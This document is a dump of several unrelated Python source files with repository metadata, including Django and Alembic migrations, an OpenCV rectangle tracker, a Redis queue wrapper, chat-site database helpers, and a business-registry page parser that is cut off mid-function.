837eb6ed6bb124e4b581a285dedc423adedca55e
refs/heads/master
2023-04-05T03:56:22.288256
2023-03-31T14:34:24
2023-03-31T14:34:24
98,847,622
3
1
null
2023-03-24T22:29:08
2017-07-31T04:19:12
Python
UTF-8
Python
false
false
442
py
# -*- coding: utf-8 -*- # Generated by Django 1.10.5 on 2017-05-02 13:01 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('blog', '0001_initial'), ] operations = [ migrations.AddField( model_name='article', name='pub_time', field=models.DateTimeField(auto_now=True), ), ]
[ "ciphermagic@yeah.net" ]
ciphermagic@yeah.net
82fa75e427760add6ce2a9e6040b22dd1de0106f
243fc53d3e3403ce805bbc1b5abf7ef8019485fe
/test/testuser.py
05359e927648c877e8b67cf35585b0cd8697c269
[]
no_license
Ricskal/filmmeister
3e0b441ff88601c551d98290adc000b8baae7300
6cbd35bc212587f1af8d9a7a002838f876cf210e
refs/heads/master
2023-08-22T07:26:41.666013
2021-10-31T18:24:38
2021-10-31T18:24:38
412,818,649
0
1
null
2021-11-01T08:12:10
2021-10-02T14:24:05
Python
UTF-8
Python
false
false
834
py
#from filmmeister import app_inst #print(app_inst.config['SECRET_KEY']) from app import db from app.models import User, Movie u = User(username='Rick', email='Rick@test.com') u.set_password('test') db.session.add(u) db.session.commit() #users = User.query.all() #print(users) #for u in users: print(u.id, u.username) #u = User.query.get(1) #p = Movie(title='tenet', meister=u) #db.session.add(p) #db.session.commit() #get all posts written by a user #u = User.query.get(1) #print(u) # #movie = u.meister_rel.all() #print(movie) # print post author and body for all posts #movie = Movie.query.all() #for m in movie: # print(m.id, m.meister.username, m.title) # # #users = User.query.all() #for u in users: # db.session.delete(u) # #posts = Movie.query.all() #for p in posts: # db.session.delete(p) # #db.session.commit()
[ "rickensinkrullen@gmail.com" ]
rickensinkrullen@gmail.com
5eafb0bd65c0b310e67e3a137116184bb8059d51
a55733d3261a0a14a640616121837dd1c38e8636
/rectangle_tracker.py
713cc33bf746a6fdeab495f25179f551dbd4583e
[ "Apache-2.0" ]
permissive
jsdelivrbot/python-opencv-rectangle-tracker
795e497cb59ad89220df02f1df7da751a4fd3e71
5b081acd9b35b16ace88b84732653cd3c42cabbb
refs/heads/master
2020-04-10T15:07:28.474597
2018-12-10T00:35:52
2018-12-10T00:35:52
161,097,853
0
0
null
2018-12-10T01:06:03
2018-12-10T01:06:02
null
UTF-8
Python
false
false
13,985
py
""" Notes: 1) This is algorithm is primarily designed for a rectangular piece of paper lying flat on a flat surface, but may work in other situations assuming that the paper's corners are not obstructed. 2) The camera's view of the paper must be unobstructed in first frame. """ # Basic Dependencies from __future__ import division, print_function from math import ceil, acos from time import time # External Dependencies import numpy as np from numpy.linalg import norm import cv2 # Default User Parameters VIDEO_FILE_LOCATION = 'sample.avi' FPS_INTERVAL = 10 # updates FPS estimate after this many frames MHI_DURATION = 10 # max frames remembered by motion history FRAME_WIDTH, FRAME_HEIGHT = 640, 424 PAPER_RATIO = 11/8.5 # height/width of paper ROT180 = False # If paper is upside down, change this REDUCE_DISPLAY_SIZE = False # Use if output window is too big for your screen # Internal Parameters tol_corner_movement = 1 obst_tol = 10 # used to determine tolerance closing_iterations = 10 show_thresholding = False # Use to display thresholding def rotate180(im): """Rotates an image by 180 degrees.""" return cv2.flip(im, -1) def persTransform(pts, H): """Transforms a list of points, `pts`, using the perspective transform `H`.""" src = np.zeros((len(pts), 1, 2)) src[:, 0] = pts dst = cv2.perspectiveTransform(src, H) return np.array(dst[:, 0, :], dtype='float32') def affTransform(pts, A): """Transforms a list of points, `pts`, using the affine transform `A`.""" src = np.zeros((len(pts), 1, 2)) src[:, 0] = pts dst = cv2.transform(src, A) return np.array(dst[:, 0, :], dtype='float32') def draw_polygon(im, vertices, vertex_colors=None, edge_colors=None, alter_input_image=False, draw_edges=True, draw_vertices=True, display=False, title='', pause=False): """returns image with polygon drawn on it.""" _default_vertex_color = (255, 0, 0) _default_edge_color = (255, 0, 0) if not alter_input_image: im2 = im.copy() else: im2 = im if vertices is not None: N = len(vertices) vertices = [tuple(v) for v in vertices] if vertex_colors is None: vertex_colors = [_default_vertex_color] * N if edge_colors is None: edge_colors = [_default_edge_color] * N for i in range(N): startpt = vertices[(i - 1) % N] endpt = vertices[i] if draw_vertices: cv2.circle(im2, startpt, 3, vertex_colors[(i - 1) % N], -1) if draw_edges: cv2.line(im2, startpt, endpt, edge_colors[(i - 1) % N], 2) if display: cv2.imshow(title, im2) # Note: `0xFF == ord('q')`is apparently necessary for 64bit machines if pause and cv2.waitKey(0) & 0xFF == ord('q'): pass return im2 def run_main(): # Initialize some variables frame = None old_homog = None old_inv_homog = None corner_history = [] video_feed = cv2.VideoCapture(VIDEO_FILE_LOCATION) video_feed.set(cv2.cv.CV_CAP_PROP_FRAME_WIDTH, FRAME_WIDTH) video_feed.set(cv2.cv.CV_CAP_PROP_FRAME_HEIGHT, FRAME_HEIGHT) frame_count = 0 fps_time = time() while True: # initialize some stuff c_colors = [(0, 0, 255)] * 4 # grab current frame from video_feed previous_frame = frame _, frame = video_feed.read() # Report FPS if not (frame_count % 10): fps = FPS_INTERVAL/(time() - fps_time) print('Frame:', frame_count, ' | FPS:', fps) fps_time = time() frame_count += 1 # Convert to grayscale try: gray_img = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) except: print("\nVideo feed ended.\n") break # get binary thresholding of image gray_smooth = cv2.GaussianBlur(gray_img, (15, 15), 0) _, bin_img = cv2.threshold(gray_smooth, 100, 255, cv2.THRESH_BINARY) # morphological closing kernel = np.ones((3, 3), np.uint8) bin_img = cv2.morphologyEx(bin_img, cv2.MORPH_CLOSE, kernel, iterations=closing_iterations) # Find corners. To do this: # 1) Find the largest (area) contour in frame (after thresholding) # 2) get contours convex hull, # 3) reduce degree of convex hull with Douglas-Peucker algorithm, # 4) refine corners with subpixel corner finder # step 1 contours, _ = cv2.findContours(bin_img, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) biggest_contour = max(contours, key=cv2.contourArea) # step 2 hull = cv2.convexHull(biggest_contour) epsilon = 0.05 * cv2.arcLength(biggest_contour, True) # step 3 hull = cv2.approxPolyDP(hull, epsilon, True) # step 4 hull = np.float32(hull) method = cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT criteria = (method, 1000, 1e-4) cv2.cornerSubPix(gray_img, hull, (5, 5), (-1, -1), criteria) corners = [pt[0] for pt in hull] # Find top-right corner and use to label corners # Note: currently corners are in CW order # Note: ordering will be checked below against expected corners tr_index = np.argmin(c[0] + c[1] for c in corners) tl = corners[tr_index] bl = corners[(tr_index - 1) % 4] br = corners[(tr_index - 2) % 4] tr = corners[(tr_index - 3) % 4] # reformat and ensure that ordering is as expected below corners = np.float32([[c[0], c[1]] for c in [tl, bl, br, tr]]) # IMPORTANT ASSUMPTIONS on paper tracking (used in code block below): # 1) if any one point is stationary from previous frame, then all # are stationary with probability 1. # 2) if any corners are obstructed, assume the paper is still flat # against the same plane as it was in the previous frame. # I.e. the transformation from previous frame to this frame should # be of the form of a translation and a rotation in said plane. # 3) see code comments for additional assumptions, haha, sorry def get_edge_lengths(topl, botl, botr, topr): """ Takes in list of four corners, returns four edge lengths in order top, right, bottom, left.""" tbrl = [topr - topl, topr - botr, botr - botl, botl - topl] return [norm(edge) for edge in tbrl] if not corner_history: last_unob_corners = corners else: # determine expected corner locations and edge lengths expected_corners = last_unob_corners if last_unob_corners is None: expected_lengths = get_edge_lengths(*expected_corners) else: expected_lengths = get_edge_lengths(*last_unob_corners) # check ordering def cyclist(lst, k): if k: return [lst[(i+k)%len(lst)] for i in xrange(len(lst))] return lst def _order_dist(offset): offset_corners = corners[cyclist(range(4), offset)] return norm(expected_corners - offset_corners), offset_corners if corner_history: corners = min(_order_dist(k) for k in range(4))[1] # Look for obstructions by looking for changes in edge lengths # Note: these lengths are not perspective invariant # TODO: checking by Hessian may be a better method new_lengths = get_edge_lengths(*corners) top_is_bad, rgt_is_bad, bot_is_bad, lft_is_bad = \ [abs(l0 - l1) > obst_tol for l1, l0 in zip(new_lengths, expected_lengths)] tl_ob = top_is_bad and lft_is_bad bl_ob = bot_is_bad and lft_is_bad br_ob = bot_is_bad and rgt_is_bad tr_ob = top_is_bad and rgt_is_bad is_obstr = [tl_ob, bl_ob, br_ob, tr_ob] ob_indices = [i for i, c in enumerate(is_obstr) if c] ob_corner_ct = sum(is_obstr) c_colors = [(0, 255, 0) if b else (0, 0, 255) for b in is_obstr] # Find difference of corners from expected location diffs = [norm(c - ec) for c, ec in zip(corners, expected_corners)] has_moved = [d > tol_corner_movement for d in diffs] # Check if paper has likely moved if sum(has_moved) < 4: # assume all is cool, just trust the corners found corners = last_unob_corners pass else: if sum(has_moved) == 1: # only one corner has moved, just assume it's obstructed # and replace it with the expected location bad_corner_idx = np.argmax(diffs) corners[bad_corner_idx] = expected_corners[bad_corner_idx] else: # find paper's affine transformation in expected plane print("frame={} | ob_corner_ct={}" "".format(frame_count, ob_corner_ct)) if sum(is_obstr) in (1, 2, 3): eco = zip(expected_corners, is_obstr) exp_unob = np.float32([c for c, b in eco if not b]) exp_ob = np.float32([c for c, b in eco if b]) co = zip(corners, is_obstr) new_unob = np.float32([c for c, b in co if not b]) exp_unob_pp = persTransform(exp_unob, old_homog) exp_ob_pp = persTransform(exp_ob, old_homog) new_unob_pp = persTransform(new_unob, old_homog) # check for obstructions if sum(is_obstr) == 0: # yay! no obstructed corners! pass elif sum(is_obstr) == 1: # Find the affine transformation in the paper's plane # from expected locations of the three unobstructed # corners to the found locations, then use this to # estimate the obstructed corner's location A = cv2.getAffineTransform(exp_unob_pp, new_unob_pp) new_ob_pp = affTransform(exp_ob_pp, A) new_ob = persTransform(new_ob_pp, old_inv_homog) corners[np.ix_(ob_indices)] = new_ob elif sum(is_obstr) == 2: # Align the line between the good corners # with the same line w.r.t the old corners p1, q1 = new_unob_pp[0], new_unob_pp[1] p0, q0 = exp_unob_pp[0], exp_unob_pp[1] u0 = (q0 - p0) / norm(q0 - p0) u1 = (q1 - p1) / norm(q1 - p1) angle = acos(np.dot(u0, u1)) # unsigned trans = p1 - p0 # Find rotation that moves u0 to u1 rotat = cv2.getRotationMatrix2D(tuple(p1), angle, 1) rotat = rotat[:, :2] # Expensive sign check for angle (could be improved) if norm(np.dot(u0, rotat) - u1) > norm(np.dot(u1, rotat) - u0): rotat = np.linalg.inv(rotat) # transform the old coords of the hidden corners # and map them back to the paper plane exp_ob_pp += trans new_ob_pp = affTransform(exp_ob_pp, rotat) new_ob = persTransform(new_ob_pp, old_inv_homog) corners[np.ix_(ob_indices)] = new_ob elif sum(is_obstr) in (3, 4): print("Uh oh, {} corners obstructed..." "".format(ob_corner_ct)) corners = expected_corners else: raise Exception("This should never happen.") # Homography w = max(abs(br[0] - bl[0]), abs(tr[0] - tl[0])) # width of paper in pixels h = PAPER_RATIO * w corners_pp = np.float32([[0, 0], [0, h], [w, h], [w, 0]]) homog, mask = cv2.findHomography(corners, corners_pp) inv_homog, inv_mask = cv2.findHomography(corners_pp, corners) paper = cv2.warpPerspective(frame, homog, (int(ceil(w)), int(ceil(h)))) if ROT180: paper = rotate180(paper) # Draw detected paper boundary on frame segmented_frame = draw_polygon(frame, corners, c_colors) # Resize paper to simplify display h = segmented_frame.shape[0] paper_w = int(round(h*paper.shape[1]/paper.shape[0])) resized_paper = cv2.resize(paper, (paper_w, h)) # Display big_img = np.hstack((segmented_frame, resized_paper)) if show_thresholding: bin_img = cv2.cvtColor(bin_img, cv2.COLOR_GRAY2BGR) big_img = np.hstack((big_img, bin_img)) if REDUCE_DISPLAY_SIZE: reduced_size = tuple(np.array(big_img.shape[:2][::-1])//2) smaller_big_img = cv2.resize(big_img, reduced_size) cv2.imshow('', big_img) # Updates for next iteration corner_history.append(corners) old_homog = homog old_inv_homog = inv_homog # this is apparently necessary for 64bit machines if cv2.waitKey(1) & 0xFF == ord('q'): break video_feed.release() cv2.destroyAllWindows() if __name__ == "__main__": try: run_main() except: cv2.destroyAllWindows() raise
[ "andyaport@gmail.com" ]
andyaport@gmail.com
633f67db56b3fc27c70671b9cff7a90c51faa754
96538cc3eee3d73d429f3476d0e895be95d695e3
/worker/db/redisdb.py
e7b69ffd0713371d1380120d397a1485debac7fe
[]
no_license
FashtimeDotCom/distributed-spider
d9555670216e68d4ff031e466cbf3529d080a534
33292f098403fa73239e0c7353e4cc5918be981b
refs/heads/master
2020-03-22T11:43:14.796426
2018-07-06T10:51:48
2018-07-06T11:34:46
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,874
py
# -*- coding: utf-8 -*- ''' Created on 2016-11-16 16:25 --------- @summary: 操作redis数据库 --------- @author: Boris ''' import sys sys.path.append('../') import init import redis import utils.tools as tools from utils.log import log IP = tools.get_conf_value('config.conf', 'redis', 'ip') PORT = int(tools.get_conf_value('config.conf', 'redis', 'port')) DB = int(tools.get_conf_value('config.conf', 'redis', 'db')) USER_PASS = tools.get_conf_value('config.conf', 'redis', 'user_pass') class Singleton(object): def __new__(cls, *args, **kwargs): if not hasattr(cls,'_inst'): cls._inst=super(Singleton,cls).__new__(cls, *args, **kwargs) return cls._inst class RedisDB(): def __init__(self, ip = IP, port = PORT, db = DB, user_pass = USER_PASS): # super(RedisDB, self).__init__() if not hasattr(self,'_redis'): try: self._redis = redis.Redis(host = ip, port = port, db = db, password = user_pass, decode_responses=True) # redis默认端口是6379 self._pipe = self._redis.pipeline(transaction=True) # redis-py默认在执行每次请求都会创建(连接池申请连接)和断开(归还连接池)一次连接操作,如果想要在一次请求中指定多个命令,则可以使用pipline实现一次请求指定多个命令,并且默认情况下一次pipline 是原子性操作。 except Exception as e: raise else: log.debug('连接到redis数据库 ip:%s port:%s'%(ip, port)) def sadd(self, table, values): ''' @summary: 使用无序set集合存储数据, 去重 --------- @param table: @param values: 值; 支持list 或 单个值 --------- @result: 若库中存在 返回0,否则入库,返回1。 批量添加返回None ''' if isinstance(values, list): self._pipe.multi() for value in values: self._pipe.sadd(table, value) self._pipe.execute() else: return self._redis.sadd(table, values) def zadd(self, table, values, prioritys = 0): ''' @summary: 使用有序set集合存储数据, 去重(值存在更新) --------- @param table: @param values: 值; 支持list 或 单个值 @param prioritys: 优先级; double类型,支持list 或 单个值。 根据此字段的值来排序, 值越小越优先。 可不传值,默认value的优先级为0 --------- @result:若库中存在 返回0,否则入库,返回1。 批量添加返回None ''' if isinstance(values, list): if not isinstance(prioritys, list): prioritys = [prioritys] * len(values) else: assert len(values) == len(prioritys), 'values值要与prioritys值一一对应' self._pipe.multi() for value, priority in zip(values, prioritys): self._pipe.zadd(table, value, priority) self._pipe.execute() else: return self._redis.zadd(table, values, prioritys) def zget(self, table, count = 0, is_pop = True): ''' @summary: 从有序set集合中获取数据 --------- @param table: @param count: 数量 @param is_pop:获取数据后,是否在原set集合中删除,默认是 --------- @result: 列表 ''' start_pos = 0 # 包含 end_pos = 0 if count == 0 else count - 1 # 包含 self._pipe.multi() # 标记事务的开始 参考 http://www.runoob.com/redis/redis-transactions.html self._pipe.zrange(table, start_pos, end_pos) # 取值 if is_pop: self._pipe.zremrangebyrank(table, start_pos, end_pos) # 删除 results, count = self._pipe.execute() return results def zget_count(self, table, priority_min = None, priority_max = None): ''' @summary: 获取表数据的数量 --------- @param table: @param priority_min:优先级范围 最小值(包含) @param priority_max:优先级范围 最大值(包含) --------- @result: ''' if priority_min != None and priority_max != None: return self._redis.zcount(table, priority_min, priority_max) else: return self._redis.zcard(table) def lpush(self, table, values): if isinstance(values, list): self._pipe.multi() for value in values: self._pipe.rpush(table, value) self._pipe.execute() else: return self._redis.rpush(table, values) def lpop(self, table, count = 1): ''' @summary: --------- @param table: @param count: --------- @result: 返回列表 ''' datas = [] count = count if count <= self.lget_count(table) else self.lget_count(table) if count: if count > 1: self._pipe.multi() while count: data = self._pipe.lpop(table) count -= 1 datas = self._pipe.execute() else: datas.append(self._redis.lpop(table)) return datas def lget_count(self, table): return self._redis.llen(table) def clear(self, table): self._redis.delete(table) if __name__ == '__main__': db = RedisDB() # data = { # "url": "http://www.icm9.com/", # "status": 0, # "remark": { # "spider_depth": 3, # "website_name": "早间新闻", # "website_position": 23, # "website_domain": "icm9.com", # "website_url": "http://www.icm9.com/" # }, # "depth": 0, # "_id": "5b15f33d53446530acf20539", # "site_id": 1, # "retry_times": 0 # } # print(db.sadd('25:25', data)) # print(db.zadd('26:26', [data])) # # print(db.sadd('1', 1)) db.zadd('news_urls', '1', 1) db.zadd('news_urls', '2', 1) db.zadd('news_urls', '3', 2) count = db.zget_count('news_urls', 2, 2) print(count) # print(type(data[0])) # db.clear('name') # import time # start = time.time() # # for i in range(10000): # # db.zadd('test6', i) # db.zadd('test7', list(range(10000)), [1]) # print(time.time() - start) # db.zadd('test3', '1', 5) # db.zadd('test3', '2', 6) # db.zadd('test3', '3', 4) data = db.zget('news_urls', 2) print(data)
[ "boris_liu@foxmail.com" ]
boris_liu@foxmail.com
8e28e993c80f61da18a42c1591380ee8d5027018
94d5ef47d3244950a0308c754e0aa55dca6f2a0e
/migrations/versions/e19ce0373a4f_made_degrees_and_personal_info_a_a_one_.py
1cdef1768726407a573115deba478c710260bcc0
[]
no_license
MUMT-IT/mis2018
9cbc7191cdc1bcd7e0c2de1e0586d8bd7b26002e
69fabc0b16abfeba44173caa93d4f63fa79033fd
refs/heads/master
2023-08-31T16:00:51.717449
2023-08-31T11:30:13
2023-08-31T11:30:13
115,810,883
5
5
null
2023-09-14T10:08:35
2017-12-30T17:06:00
HTML
UTF-8
Python
false
false
2,377
py
"""made degrees and personal info a a one-to-many relationship Revision ID: e19ce0373a4f Revises: 7d048ab06595 Create Date: 2021-03-04 09:41:21.032186 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = 'e19ce0373a4f' down_revision = '7d048ab06595' branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.create_table('eduqa_degrees', sa.Column('id', sa.Integer(), nullable=False), sa.Column('name', sa.String(), nullable=True), sa.PrimaryKeyConstraint('id') ) op.create_table('eduqa_programs', sa.Column('id', sa.Integer(), nullable=False), sa.Column('name', sa.String(length=255), nullable=False), sa.Column('degree_id', sa.Integer(), nullable=True), sa.ForeignKeyConstraint(['degree_id'], ['eduqa_degrees.id'], ), sa.PrimaryKeyConstraint('id') ) op.create_table('eduqa_curriculums', sa.Column('id', sa.Integer(), nullable=False), sa.Column('program_id', sa.Integer(), nullable=True), sa.ForeignKeyConstraint(['program_id'], ['eduqa_programs.id'], ), sa.PrimaryKeyConstraint('id') ) op.add_column(u'staff_edu_degree', sa.Column('personal_info_id', sa.Integer(), nullable=True)) op.add_column(u'staff_edu_degree', sa.Column('received_date', sa.Date(), nullable=True)) op.create_foreign_key(None, 'staff_edu_degree', 'staff_personal_info', ['personal_info_id'], ['id']) op.drop_constraint(u'staff_personal_info_highest_degree_id_fkey', 'staff_personal_info', type_='foreignkey') op.drop_column(u'staff_personal_info', 'highest_degree_id') # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.add_column(u'staff_personal_info', sa.Column('highest_degree_id', sa.INTEGER(), autoincrement=False, nullable=True)) op.create_foreign_key(u'staff_personal_info_highest_degree_id_fkey', 'staff_personal_info', 'staff_edu_degree', ['highest_degree_id'], ['id']) op.drop_constraint(None, 'staff_edu_degree', type_='foreignkey') op.drop_column(u'staff_edu_degree', 'received_date') op.drop_column(u'staff_edu_degree', 'personal_info_id') op.drop_table('eduqa_curriculums') op.drop_table('eduqa_programs') op.drop_table('eduqa_degrees') # ### end Alembic commands ###
[ "likit.pre@mahidol.edu" ]
likit.pre@mahidol.edu
187668061f01ab4387a6c89213b6e685b0f87e39
6f9e6138b9a090f31c1b72ca0211db209cb43e05
/django-polls/polls/models.py
5dcfa11afa23f145e7b15f5d3c3a53f74bb2c9bb
[ "BSD-3-Clause" ]
permissive
Sammaye/py-django-tutorial
d16d8b0786dbcc7d481e72cb8db57a3b0d361b61
a9e4bd1b75dfb3f84144d9d1c57811b1c55e72ba
refs/heads/master
2021-01-10T15:35:23.005052
2016-01-02T17:13:19
2016-01-02T17:13:19
45,565,586
0
0
null
null
null
null
UTF-8
Python
false
false
832
py
import datetime from django.db import models from django.utils import timezone # Create your models here. class Question(models.Model): question_text = models.CharField(max_length=200) pub_date = models.DateTimeField('date published') def __str__(self): return self.question_text def was_published_recently(self): now = timezone.now() return now - datetime.timedelta(days=1) <= self.pub_date <= now was_published_recently.admin_order_field = 'pub_date' was_published_recently.boolean = True was_published_recently.short_description = 'Published Recently?' class Choice(models.Model): question = models.ForeignKey(Question) choice_text = models.CharField(max_length=200) votes = models.IntegerField(default=0) def __str__(self): return self.choice_text
[ "sammi@SAM-PC" ]
sammi@SAM-PC
03c900177fa8129e8c676e40bc3519564cbe0b4d
594cbfd9e2a37fd26f64fa63e9e7699a799ad743
/Tag.py
0d45aa590457c4c4640a283c3d1d2b1642c08e9c
[]
no_license
aungwaiyanhein21/virtual_lab
7921d51a8c804ee4fc90d49e37cd12231a3d1ffe
0cd31626af1b765525374fc8e4d3149de4b7e74b
refs/heads/main
2023-07-16T04:51:25.504802
2021-08-16T13:17:38
2021-08-16T13:17:38
394,349,659
0
0
null
null
null
null
UTF-8
Python
false
false
632
py
from lab_db import * from utils import * COLUMNS = ['id', 'title'] def get_tags(conn): rows, error = db_get_tags(conn) objects = [] if rows is not None: for row in rows: objects.append( row_to_dictionary(row, COLUMNS)) return objects, error def get_problem_tags(conn, problem_id): rows, error = db_get_problem_tags(conn, problem_id ) print(rows) objects = [] if rows is not None: for row in rows: print(row) objects.append( row_to_dictionary(row, COLUMNS)) return objects, error
[ "aungwaiyanhein@Aungs-MacBook-Pro.local" ]
aungwaiyanhein@Aungs-MacBook-Pro.local
81d8aad24aacbad9031db09fd9f0fb41b6886ab9
6a19ba3d871f050d486c3f8f5a7973f9707f2e26
/python_1/study_webservice/__init__.py
b0fe3ab6929c51fb95596c8e061f220a7d751f51
[]
no_license
KRIS123456654321/pytest
5ea3e9eaf51d82ab904d6af06047955c5731535d
2f425a1263e78fba36bc1094175c1e967498cafc
refs/heads/master
2020-09-01T06:21:08.151013
2019-11-07T06:28:15
2019-11-07T06:28:15
218,898,234
2
0
null
null
null
null
UTF-8
Python
false
false
131
py
# _*_ coding:utf-8 _*_ # @Time :2019/7/28 17:30 # @Author :xiuhong.guo # @Email :892336120@qq.com # @File :__init__.py.py
[ "892336120@qq.com" ]
892336120@qq.com
8613969c1bf11f3f89b71cdad8ad6aeef96ee7a8
89be6a30d65e9074752b1fd53f1d3225bada2ed6
/cherubplay_live/db.py
3a635a93f38a766ad8c57c6f83e60719ab36b00c
[]
no_license
tehdragonfly/cherubplay
d9da2b5b0c1c140590927a98c4a39da92063ca3b
2fcfd86f3fd8125aa751aee36549981e6556db73
refs/heads/master
2021-01-24T05:59:06.929203
2019-11-29T23:58:21
2019-11-29T23:58:21
16,424,472
4
2
null
2019-12-26T16:40:38
2014-01-31T23:59:20
Python
UTF-8
Python
false
false
1,863
py
import sys from configparser import ConfigParser from contextlib import contextmanager from sqlalchemy import create_engine, and_ from sqlalchemy.orm import sessionmaker from sqlalchemy.orm.exc import NoResultFound from cherubplay.models import Chat, ChatUser, User from cherubplay.models.enums import ChatUserStatus from cherubplay.services.redis import make_redis_connection config_path = sys.argv[1] config = ConfigParser() config.read(config_path) engine = create_engine( config.get("app:main", "sqlalchemy.url"), convert_unicode=True, pool_recycle=3600, ) sm = sessionmaker( autocommit=False, autoflush=False, bind=engine, expire_on_commit=False, ) @contextmanager def db_session(): db = sm() try: yield db db.commit() except Exception: db.rollback() raise finally: db.close() login_redis = make_redis_connection(config["app:main"], "login") publish_redis = make_redis_connection(config["app:main"], "pubsub") def get_user(db, cookies): if "cherubplay" not in cookies: return None user_id = login_redis.get("session:" + cookies["cherubplay"].value) if user_id is None: return None try: return db.query(User).filter(and_( User.id == int(user_id), User.status != "banned", )).one() except (ValueError, NoResultFound): return None def get_chat(db, chat_url): try: return db.query(Chat).filter(Chat.url == chat_url).one() except NoResultFound: return None def get_chat_user(db, chat_id, user_id): try: return db.query(ChatUser).filter(and_( ChatUser.chat_id == chat_id, ChatUser.user_id == user_id, ChatUser.status == ChatUserStatus.active, )).one() except NoResultFound: return None
[ "mysticdragonfly@hotmail.co.uk" ]
mysticdragonfly@hotmail.co.uk
d5de15191b5b65b8672942b474be1928172186e4
4806d5b15b45e30be16c857faaacaa278eba09d3
/parse/parse_gansu_worker.py
a675f10751af6f727dfa48302b11fee243b2bc58
[]
no_license
osenlin/gsxt_spider
9ebc90b778ca1fe31f3339ddeccdac66808a1d96
6e75fe9802620284e8c19c6f23a9a90911b39016
refs/heads/master
2020-03-20T01:10:50.348913
2018-06-12T12:34:53
2018-06-12T12:34:53
137,068,844
5
9
null
null
null
null
UTF-8
Python
false
false
28,729
py
#!/usr/bin/env python # encoding: utf-8 """ @author: youfeng @email: youfeng243@163.com @license: Apache Licence @file: parse_base_worker.py @time: 2017/2/3 17:32 """ import traceback from pyquery import PyQuery from base.parse_base_worker import ParseBaseWorker from common import util from common.annual_field import * from common.global_field import Model from common.gsxt_field import * # todo 甘肃亚盛股份实业(集团)有限公司兴盛分公司 解析逻辑有问题, 会漏掉属性解析 class GsxtParseGanSuWorker(ParseBaseWorker): def __init__(self, **kwargs): ParseBaseWorker.__init__(self, **kwargs) # 基本信息 def get_base_info(self, base_info): page = self.get_crawl_page(base_info) res = PyQuery(page, parser='html').find('.info_name').items() base_info_dict = {} money = util.get_match_value("toDecimal6\('", "'\);", page) for item in res: item_content = item.text().replace('•', '') item_content = item_content.replace(':', ':') part = item_content.split(':', 1) k = GsModel.format_base_model(part[0].replace(' ', '')) base_info_dict[k] = part[1].strip() base_info_dict[GsModel.PERIOD] = u"{0}至{1}". \ format(base_info_dict.get(GsModel.PERIOD_FROM), base_info_dict.get(GsModel.PERIOD_TO)) reg_unit = base_info_dict.get(GsModel.REGISTERED_CAPITAL) if reg_unit is not None: base_info_dict[GsModel.REGISTERED_CAPITAL] = money + reg_unit # 股东信息 try: shareholder_info_dict = self.get_inline_shareholder_info(page) except ValueError: self.log.error('company:{0},error-part:shareholder_info_dict,error-info:{1}'.format( base_info.get('company', u''), traceback.format_exc())) shareholder_info_dict = {} base_info_dict.update(shareholder_info_dict) # 变更信息 try: change_info_dict = self.get_inline_change_info(page) except ValueError: self.log.error('company:{0},error-part:change_info_dict,error-info:{1}'.format( base_info.get('company', u''), traceback.format_exc())) change_info_dict = {} base_info_dict.update(change_info_dict) return base_info_dict # 股东信息 @staticmethod def get_inline_shareholder_info(page): shareholder_info_dict = {} shareholder_list = [] trs = PyQuery(page, parser='html').find('#gd_JSTab').find('tr').items() for tr in trs: tds = tr.find('td') if tds is None or len(tds) < 2: continue share_model = { GsModel.ShareholderInformation.SHAREHOLDER_NAME: tds.eq(1).text().replace(u'\\t', u''), GsModel.ShareholderInformation.SUBSCRIPTION_AMOUNT: util.get_amount_with_unit(tds.eq(2).text()), GsModel.ShareholderInformation.PAIED_AMOUNT: util.get_amount_with_unit(tds.eq(3).text()), GsModel.ShareholderInformation.SUBSCRIPTION_DETAIL: [{ GsModel.ShareholderInformation.SUBSCRIPTION_TYPE: tds.eq(4).text(), GsModel.ShareholderInformation.SUBSCRIPTION_TIME: tds.eq(6).text(), GsModel.ShareholderInformation.SUBSCRIPTION_PUBLISH_TIME: tds.eq(7).text(), }], GsModel.ShareholderInformation.PAIED_DETAIL: [{ GsModel.ShareholderInformation.PAIED_TYPE: tds.eq(8).text(), GsModel.ShareholderInformation.PAIED_TIME: tds.eq(10).text(), GsModel.ShareholderInformation.PAIED_PUBLISH_TIME: tds.eq(11).text() }] } shareholder_list.append(share_model) if len(shareholder_list) > 0: shareholder_info_dict[GsModel.SHAREHOLDER_INFORMATION] = shareholder_list return shareholder_info_dict # 变更信息 @staticmethod def get_inline_change_info(page): change_info_dict = {} change_records_list = [] trs = PyQuery(page, parser='html').find('#changeTab').find('tr').items() for tr in trs: tds = tr.find('td') if len(tds) < 2: continue change_model = { GsModel.ChangeRecords.CHANGE_ITEM: tds.eq(1).text(), # 去除多余的字 GsModel.ChangeRecords.BEFORE_CONTENT: util.format_content(tds.eq(2).text()), GsModel.ChangeRecords.AFTER_CONTENT: util.format_content(tds.eq(3).text()), # 日期格式化 GsModel.ChangeRecords.CHANGE_DATE: tds.eq(4).text() } change_records_list.append(change_model) if len(change_records_list) > 0: change_info_dict[GsModel.CHANGERECORDS] = change_records_list return change_info_dict # 主要人员 def get_key_person_info(self, key_person_info): """ :param key_person_info: 网页库字典, 里面包含list 与 detail 两个列表, 列表中存储的为网页数据 其中两个列表一定会存在一个, 否则则认为这个数据包无效, list一般储存列表翻页信息, detail存储列表项详情信息 具体结构参考mongodb网页库或者查看 common/global_field.py 中Model定义注释 主要人员一般存储在list列表中, 因为主要人员不包含列表结构不需要detail列表 :return: 返回工商schema字典 """ key_person_info_dict = {} page = self.get_crawl_page(key_person_info) items = PyQuery(page, parser='html').find('#per270').items() key_person_list = [] for item in items: spans = item.find('span') if len(spans) < 2: continue key_person = { GsModel.KeyPerson.KEY_PERSON_NAME: spans.eq(0).text().strip(), GsModel.KeyPerson.KEY_PERSON_POSITION: spans.eq(1).text().strip()} key_person_list.append(key_person) if len(key_person_list) > 0: key_person_info_dict[GsModel.KEY_PERSON] = key_person_list return key_person_info_dict # 分支机构 def get_branch_info(self, branch_info): branch_info_dict = {} page = self.get_crawl_page(branch_info) items = PyQuery(page, parser='html').find('#fzjg308').items() branch_list = [] for item in items: spans = item.find('span') if len(spans) < 7: continue branch_model = { 